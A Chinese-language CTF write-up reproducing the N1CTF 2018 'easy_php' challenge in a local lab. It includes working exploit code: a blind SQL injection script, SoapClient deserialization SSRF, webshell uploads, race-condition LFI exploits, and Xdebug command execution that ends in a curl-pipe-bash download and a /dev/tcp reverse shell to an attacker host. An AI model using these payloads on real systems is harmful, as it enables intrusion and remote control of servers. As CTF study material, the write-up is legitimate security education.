前言

最近做题,两次遇见这个题。第一次看着writeup都没复现成功。emm(菜的真实。。。)。这次自己搭的环境用三种方法来复现这个题。

环境搭建

官方给了环境,有dockerfile。所以比较容易搭建的。官方文件在docker上安装上docker-compose(linux上需要安装),在相应目录下,运行docker-compose build,docker-compose up即可。
可以关闭后用docker-compose start开启。

官方预期解法

通过扫描发现存在源码:
index.php~

<?php

require_once 'user.php';
$C = new Customer();
if(isset($_GET['action']))
require_once 'views/'.$_GET['action'];
else
header('Location: index.php?action=login');

尝试user.php~发现也存在源码。(源码太多,就不粘了)
在user.php~发现了config.php同样存在config.php~
发现存在views目录发现,尝试访问发现一堆源码:
e5Dwng.png
审计源码:
发现存在sql注入。
主要代码:

function publish()
    {
        if(!$this->check_login()) return false;
        if($this->is_admin == 0)
        {
            if(isset($_POST['signature']) && isset($_POST['mood'])) {

                $mood = addslashes(serialize(new Mood((int)$_POST['mood'],get_ip())));
                $db = new Db();
                @$ret = $db->insert(array('userid','username','signature','mood'),'ctf_user_signature',array($this->userid,$this->username,$_POST['signature'],$mood));
                if($ret)
                    return true;
                else
                    return false;
            }
        }
        else
        {
                if(isset($_FILES['pic'])) {
                    if (upload($_FILES['pic'])){
                        echo 'upload ok!';
                        return true;
                    }
                    else {
                        echo "upload file error";
                        return false;
                    }
                }
                else
                    return false;


        }

    }

这里我们发现这里对所有参数的单引号,双引号,NULL 字符,反斜线进行转义(addsla_all()),然而我们发现在get_column函数中对参数进行的是反引号进行包裹,所以并不影响我们注入,这里强制将mood参数转换成整型,所以只能在signature参数上注入。

注册并登录后
脚本:

import requests
import string
import urllib
url = "http://192.168.190.140/index.php?action=publish"
flag = ""
cookie={
    "PHPSESSID":"256d0bbef5d2be1e63186dd96c64a7f9"
}

for i in range(1,33):
    for j in "0123456789."+string.letters+"!@#$^&*(){}=+`~_":
        s='1`,if(ascii(substr((select username from ctf_users where is_admin=1),'+str(i)+',1))='+str(ord(j))+',sleep(3),0))#'
        # s='1`,if(ascii(substr((select password from ctf_users where is_admin=1),'+str(i)+',1))='+str(ord(j))+',sleep(3),0))#'
        # s='1`,if(ascii(substr((select password from ctf_users where username=0x61646d696e),'+str(i)+',1))='+str(ord(j))+',sleep(3),0))#'
        data = {
            "signature":s,
            "mood":"1"
           }
        try:
            r =requests.post(url=url,data=data,cookies=cookie,timeout=2.5)
            # print i
        except:
            flag+=j
            print flag
            break
#username admin
#password  2533f492a796a3227b0c6f91d102cc36 nu1ladmin

尝试登陆,发现登陆不成。想到了admin关闭了这个选项 allow_diff_ip,既不能异地登录。
获取管理员登陆的ip。通过上面的注入。得到ip为127.0.0.1
获取ip的函数 getip()

function get_ip(){
    return $_SERVER['REMOTE_ADDR'];
}

看上去是让你绕过 $_SERVER['REMOTE_ADDR'] 伪造ip。(菜鸡在这表示jj)
再来审计源码,我们发现存在反序列化漏洞。:
user.php 函数 showmess()里:
e5okH1.png
因为,通过sql注入,我们可以控制mood参数。

1`, {serialize object})#

把反序列化对象存在数据库中。然后显示新闻的时候,就会会实例化对象。即访问index.php?action=index 的时候触发。
但是我们该利用哪个类呢?(菜鸡哭晕)
想起phpinfo了。
e5bxl8.png
发现soap拓展开着啊。soap有SoapClient类。
这个类是用来创建soap数据报文,与wsdl接口进行交互的。
这个类的基本用法:
e5L226.png
通过传入两个参数,第一个是 $url, 即目标url, 第二个参数是一个数组,里面是soap请求的一些参数和属性。
第二个参数的相关介绍:
e5X9mD.png
我们可以看到这个类传入的第一个参数为 $wsdl
e5jSCn.png
控制是否是wsdl模式,如果为NULL,就是非wsdl模式.
如果是非wsdl模式,反序列化的时候就会对options中的url进行远程soap请求,
如果是wsdl模式,在序列化之前就会对$url参数进行请求,从而无法可控序列化数据。
我们可以尝试一下,看看是否能发送soap请求。

<?php
$a = new SoapClient(null, array('location' => "http://192.168.190.128:9000",'uri'=> "aaa"));
echo serialize($a);
//运行一下得到
//O:10:"SoapClient":3:{s:3:"uri";s:3:"aaa";s:8:"location";s:27:"http://192.168.190.128:9000";s:13:"_soap_version";i:1;}

这里的ip为我们的vps。
这时我们要把数据存入数据库。
eISsO0.png
然后,我们开启对我们vps的监听,在vps上运行nc -lvv 9000
然后我们来让服务器发送请求,即访问index.php?action=index
查看我们的监听。成功监听到soap请求。

eIp3h4.png

现在我们已经触发了SSRF,但可以看到SOAP原始的数据是不符合POST请求的数据格式的,所以,我们要想办法控制soap请求使它符合post请求,从而实现我们的目的。

你可以看到我成功获得了soap请求, 我们可以发现我们可控的地方是 uri
所以我们可以伪造一个请求。在header里 User-AgentContent-Type 前面, 我们我们可以很轻松的控制整个POST报文。
wupco师傅写的简单poc:

<?php
$target = 'http://192.168.190.128:9000';
$post_string = 'a=b&flag=aaa';
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: xxxx=1234'
    );
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'alex^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'      => "aaab"));

$aaa = serialize($b);
$aaa = str_replace('^^','%0d%0a',$aaa);
$aaa = str_replace('&','%26',$aaa);
echo $aaa;
//O:10:"SoapClient":4:{s:3:"uri";s:4:"aaab";s:8:"location";s:27:"http://192.168.190.128:9000";s:11:"_user_agent";s:137:"wupco%0d%0aContent-Type: application/x-www-form-urlencoded%0d%0aX-Forwarded-For: 127.0.0.1%0d%0aCookie: xxxx=1234%0d%0aContent-Length: 12%0d%0a%0d%0aa=b%26flag=aaa";s:13:"_soap_version";i:1;}

发送数据到数据库,然后访问index.php?action=index,我们成功打到请求内容。
eIYMbq.png
这里是soap请求的content/type是text/xml; charset=utf‐8,我们没办法直接覆盖掉原本的content/type,而我们知道,要能通过$_POST获取数据,content/type要是application/x‐www‐form‐urlencoded才行。然后我们从SOAP的参数说明中知道:soap中是支持User-Agent的,并且在header里 User-Agent 是在 Content-Type 前面的,所以我们可以通过控制User-Agent来控制整个POST报文。

现在我们来构造我们的请求。

<?php
$target = 'http://127.0.0.1/index.php?action=login';
$post_string = 'username=admin&password=nu1ladmin&code=63732';
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: PHPSESSID=j2qdvjf36op9ge50lsjo3bske5'
    );
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'alex^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'      => "aaab"));

$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo bin2hex($aaa);
?>

这里的要控制cookie和code,这里的session和code是我们用新的浏览器访问题目,得到的新的cookie和code。用来伪造管理员本地登陆。

eIt1OA.png

我们用我们的账号发送数据到数据库。
eItckV.png

然后访问index.php?action=index。这时我们就成功伪造了管理员本地登陆请求。然后刷新新浏览器的页面,就登陆成功了。
eINsjH.png

eINREt.png

这时我们可以再审审upload函数:

function upload($file){
    $file_size  = $file['size'];
    if($file_size>2*1024*1024) {
        echo "pic is too big!";
        return false;
    }
    $file_type = $file['type'];
    if($file_type!="image/jpeg" && $file_type!='image/pjpeg') {
        echo "file type invalid";
        return false;
    }
    if(is_uploaded_file($file['tmp_name'])) {
        $uploaded_file = $file['tmp_name'];
        $user_path =  "/app/adminpic";
        if (!file_exists($user_path)) {
            mkdir($user_path);
        }
        $file_true_name = str_replace('.','',pathinfo($file['name'])['filename']);
        $file_true_name = str_replace('/','',$file_true_name);
        $file_true_name = str_replace('\\','',$file_true_name);
        $file_true_name = $file_true_name.time().rand(1,100).'.jpg';
        $move_to_file = $user_path."/".$file_true_name;
        if(move_uploaded_file($uploaded_file,$move_to_file)) {
            if(stripos(file_get_contents($move_to_file),'<?php')>=0)
                system('sh /home/nu1lctf/clean_danger.sh');
            return $file_true_name;
        }
        else
            return false;
    }
    else
        return false;
}

如果你上传的文件包含 <?php,就会运行一个bash clean_danger.sh
用LFI读取clean_danger.sh。
http://192.168.190.140/index.php?action=../../../../../home/nu1lctf/clean_danger.sh
得到:

cd /app/adminpic/
rm *.jpg

如何绕过它呢?
最简单的是,传入一个js样式的shell。
eIas0A.png
这样就有了shell。但是发了个比较gay的问题。emmm
没有文件名,上传之后爆破文件名。
这里给了命名的方式。
eIdWU1.png
上传之前先获得一下时间戳。

<?php
date_default_timezone_set("PRC");
$time = time();
echo $time;
?>//1565173525

爆破脚本:

#coding=utf-8
import requests
time = 156517352500 #这里比时间戳多了两位。因为rand函数。
url = 'http://192.168.190.140/index.php?action=../../../../app/adminpic/jsshell{}.jpg'
for i in range(10000):
    tmp = time + i
    ul = url.format(tmp)
    html = requests.get(ul).status_code
    if html == 200:
        print(ul)
        break

得到路径:
eIrInU.png
即为shell,菜刀连接发现并没有flag,猜测在数据库中。
但是很坑的是,蚁剑连不上。只能上菜刀了。
http://192.168.190.140/index.php?action=../../../../run.sh
eIREgs.png
/run.sh中找到数据库的账号密码。
里面的反斜线是转义符,菜刀连的时候要去掉。
即可得到flag。
eIRviF.png

另一种绕过方式。
使用linux命令的一个feature
当我们创建诸如 -xa.jpg的文件后。
我们不能通过 rm * or rm *.jpg 删除它
除非 rm -r adminpic/
另外一种是使用短标签。
你可以发现 short_open_tag = Off 在 phpinfo
因为php版本高于5.4 你依然可以使用 <?= 拿到webshell
eIfEmq.png

非预期解法一

利用session.upload。

session.upload_progress.enabled这个参数在php.ini 默认开启,需要手动置为Off
如果不是Off,就会在上传的过程中生成上传进度文件。
看phpinfo可以看到upload_progress.enabled关闭(我这是从比赛后的docker布置的,所以可能跟比赛时环境不一样)我们进后台改成开启,并且给出了session.save_path
eIhVvd.png
修改后:
mGzDx0.png

/var/lib/php5/sess_{your_php_session_id}

我们去包含一下试试
http://192.168.190.140/index.php?action=../../../../var/lib/php5/sess_qqefair09hbdsolv24b41uo4l6
eIh1PS.png
我们直接用官方给出的表单加以修改就可使用,我构造的payload:

<form action="http://192.168.190.143/" method="POST" enctype="multipart/form-data">
 <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?=`echo '<?php eval(\$_REQUEST[alex])?>'>alex.php`?>" />
 <input type="file" name="file1" />
 <input type="file" name="file2" />
 <input type="submit" />
</form>

但是需要注意的是,cleanup是on,所以这里用了条件竞争,一遍疯狂发包,一遍疯狂请求。两个包:
mJSpsf.png

mJSuLT.png

得到:
mJpP6x.png
说明我们竞争成功了,最后可以在/app/下找到写入的shell:
mJ9hGj.png
接下来就是找数据库密码,连接数据库获取密码了。

非预期解法二

/tmp/临时文件竞争

通过racing condition来在临时文件被删除之前包含它。 这个想法的依据是FROM andreisamuilik/php5.5.9-apache2.4-mysql5.5 ,这个镜像我们pull下来发现其中默认目录/var/www/phpinfo/index.php有个phpinfo存在,然后就能利用lfi包含临时文件getshell了
因为phpinfo直接给出了临时文件的文件名与绝对路径
读取run.sh发现:
mJQjHg.png

利用python不断伪造上传包,再根据phpinfo()返回的路径名去包含文件
一旦条件竞争成功,包含该文件即会触发写文件
在/app/目录下的intrd文件里写进我们的shell
然后即可达成getshell的目的

国外大哥的exp脚本:

## PHP : Winning the race condition vs Temporary File Upload - PHPInfo() exploit 
# Alternative way to easy_php @ N1CTF2018, solved by intrd & shrimpgo - p4f team
# @license Creative Commons Attribution-ShareAlike 4.0 International License - http://creativecommons.org/licenses/by-sa/4.0/

## passwords.txt payload content
# <?php $c=fopen('/app/intrd','w');fwrite($c,'<?php passthru($_GET["f"]);?>');?>

import sys,Queue,threading,hashlib,os, requests,  pickle, os.path, re
from subprocess import Popen, PIPE, STDOUT

NumOfThreads=50
queue = Queue.Queue()

class checkHash(threading.Thread):
    def __init__(self,queue):
        threading.Thread.__init__(self)
        self.queue=queue
    def run(self):
        i=0
        while True:
            self.clear=self.queue.get()
            passtry = self.clear
            if passtry != "":

                padding="A" * 5000

                cookies = {
                    'PHPSESSID': '58dnkc9litj4ipv18837cutgg6',
                    'othercookie': padding
                }

                headers = {
                    'User-Agent': padding,
                    'Pragma': padding,
                    'Accept': padding,
                    'Accept-Language': padding,
                    'DNT': '1'
                }

                files = {'arquivo': open('passwords.txt','rb')}

                reqs='http://192.168.190.143/index.php?action=../../var/www/phpinfo/index.php&a='+padding
                #reqs='http://172.17.0.2:80/index.php?action=../../var/www/phpinfo/index.php&a='+padding
                response = requests.post(reqs, headers=headers, cookies=cookies, files=files, verify=False)
                data = response.content
                data = re.search(r"(?<=tmp_name] =&gt; ).*", data).group(0)
                print data

                reqs = 'http://192.168.190.143/index.php?action=../..'+data
                #reqs = 'http://172.17.0.2:80/index.php?action=../..'+data
                print reqs
                response = requests.get(reqs, verify=False)
                data = response.content
                print data

            i+=1
            self.queue.task_done()

for i in range(NumOfThreads):
    t=checkHash(queue)
    t.setDaemon(True)
    t.start()

for x in range(0, 9999):
    x=str(x)
    queue.put(x.strip())

queue.join()

非预期解法三

xdebug
因为有

/var/www/phpinfo/index.php

可以发现:
mJD3se.png

对目标网站的phpinfo进行浏览,一旦发现

xdebug.remote_connect_back => On => On
xdebug.remote_cookie_expire_time => 3600 => 3600
xdebug.remote_enable => On => On

即可使用Xdebug进行连接,尝试直接命令执行。

首先在自己的vps(192.168.190.128)开启监听:

nc -lvv 9000

在本机上执行命令触发xdebug远程连接:

curl 'http://192.168.190.143/index.php?XDEBUG_SESSION_START=phpstrom' -H "X-Forwarded-For:192.168.190.128"
讲解:
curl 'http://题目ip:port/index.php?XDEBUG_SESSION_START=phpstrom' -H "X-Forwarded-For: vps_ip"

发现响应内容:
mY1qVU.png

为了方便利用进行命令执行,Ricterz师傅已经写好了利用工具(tql):

#!/usr/bin/python2
import socket

ip_port = ('0.0.0.0',9000)
sk = socket.socket()
sk.bind(ip_port)
sk.listen(10)
conn, addr = sk.accept()

while True:
    client_data = conn.recv(1024)
    print(client_data)

    data = raw_input('>> ')
    conn.sendall('eval -i 1 -- %s\x00' % data.encode('base64'))

将该文件放在vps上,保存为xdebug.py。运行

python xdebug.py

然后利用curl触发

curl 'http://192.168.190.143/index.php?XDEBUG_SESSION_START=phpstrom' -H "X-Forwarded-For:192.168.190.128"
讲解:
curl 'http://题目ip:port/index.php?XDEBUG_SESSION_START=phpstrom' -H "X-Forwarded-For: vps_ip"

然后执行命令:

system("curl http://192.168.190.128:8888");

解释:
system("curl vps_ip:8888")

发现可以执行命令。得到:
mYGB8J.png

然后就是反弹shell了。
这里利用使用:

bash -i >& /dev/tcp/192.168.190.128/8888 0>&1
解释:
bash -i >& /dev/tcp/vps_ip/8888 0>&1

把命令写在vps上,开启web服务。(让目标网站能够访问到。)在get.txt上写入命令

bash -i >& /dev/tcp/192.168.190.128/8888 0>&1
解释:
bash -i >& /dev/tcp/vps_ip/8888 0>&1

然后执行:

system("curl http://192.168.190.1/get.txt|bash");
解释:
利用curl把文件下载下来,然后用bash来解释。(192.168.190.1这是我本机,只是为了方便,如果是比赛应该放在vps上,并且需要能访问到。(公网))

即可反弹shell。
mYt8vd.png

这里需要注意:
即有的时候看见phpinfo的

xdebug.remote_connect_back
xdebug.remote_enable

关闭
未必就不能就行xdebug回连.
比如国际赛2018-N1CTF
phpinfo中显示的信息是php-cli
但是实际上跑着的是php-fpm,而他是开着的
所以最后好命令测试一下。

curl 'http://题目ip:port/index.php?XDEBUG_SESSION_START=phpstrom' -H "X-Forwarded-For: vps_ip"

看有没有回连即可。

总结

wupco师傅tql,这个题涉及的知识点也太多了,学习了。。。还是太菜了,需要继续努力,加油。。。

参考文献:
N1CTF Easy&&Hard Php Writeup
N1CTF-2018-Web
xdebug

  • i春秋2020新春战“疫”网络安全公益赛 web Writeup

    前言这次比赛题目质量挺好的,除啦环境可能有时候有点问题。(就让我遇到了。心态炸了一天。。。)其他都挺好的。 DAY1简单的招聘系统知识点:sql注入的联合注入或盲注存在注册和登陆功能,首先进行注册后登陆进系统,发现有一个模块是管理员才...

    i春秋2020新春战“疫”网络安全公益赛 web Writeup
  • 2019安洵杯+2019广外比赛web部分题解

    2019安洵杯easy_web知识点:MD5强碰撞,命令执行这个题比较简单,看题目发现传入参数img和cmd,然而图片是传入的img参数控制,让我想到ddctf的一道题,然后发现img是通过把文件名进行转十六进制后两次base64编码...

    2019安洵杯+2019广外比赛web部分题解
  • 2019极客大挑战RCE ME

    题目环境:http://114.116.44.23:40001/ 题目还是老样子。无字母数字rce。知识点其实都有写过,就不说了。详细参见:【RCE提高篇】题目源码: <?php ini_set("display_errors"...

    2019极客大挑战RCE ME
  • buuctf刷题记录(序)

    love math知识点:代码审计,绕waf直接给出源码: <?php error_reporting(0); //听说你很喜欢数学,不知道你是否爱它胜过爱flag if(!isset($_GET['c'])){ sho...

    buuctf刷题记录(序)
  • buuctf刷题记录

    前言最近感觉自己菜出来新境界。。。刷点题来证明我还存在。。。言归正传。开刷 hack world知识点:sql布尔盲注,bypass进入题目,发现这是典型的sql布尔盲注,题目给出了表名和列名都是flag,用burp进行fuzz测试发...

    buuctf刷题记录
  • OGeek CTF 2019-Enjoy You Self

    前言最近ctf不少,但是成绩不咋样,菜的真实。新学期开始了,最后一年了。。。继续努力吧。OPPO OGeek CTF 2019咋说呢,菜。。。总结一下学到的东西吧。 Enjoy You Self线上环境:http://47.107.2...

    OGeek CTF 2019-Enjoy You Self
  • 刷题记录

    一步步慢慢绕题目: <?php show_source(__FILE__); $v1=0;$v2=0;$v3=0; $a=(array)json_decode(@$_GET['foo']); if(is_array($a)){ ...

    刷题记录
  • sql注入新姿势-2019强网杯

    前言woc前一段时间,写过一次,发现被我搞丢了,气死…重写ing 随便注首先,对题目进行测试尝试一下1'发现会得到报错,尝试一下万能密码1' or '1'='1,发现能够把当前表所有的值全部输出...

    sql注入新姿势-2019强网杯
  • ciscn线下部分题解

    前言ciscn华中赛区线下赛让我认识到自己是真的菜。。。总结一下这次比赛吧。 web1 <?php // ini_set("display_errors", "On"); // error_reporting(E_ALL | ...

    ciscn线下部分题解
  • 2019ddctfwriteup

    web滴~这是i春秋上的一个原题。(原题比这个好)进入页面发现观察jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09像是个base64编码。进行解码。解码两次得到666C61672E6A7067。像是个base1...

    2019ddctfwriteup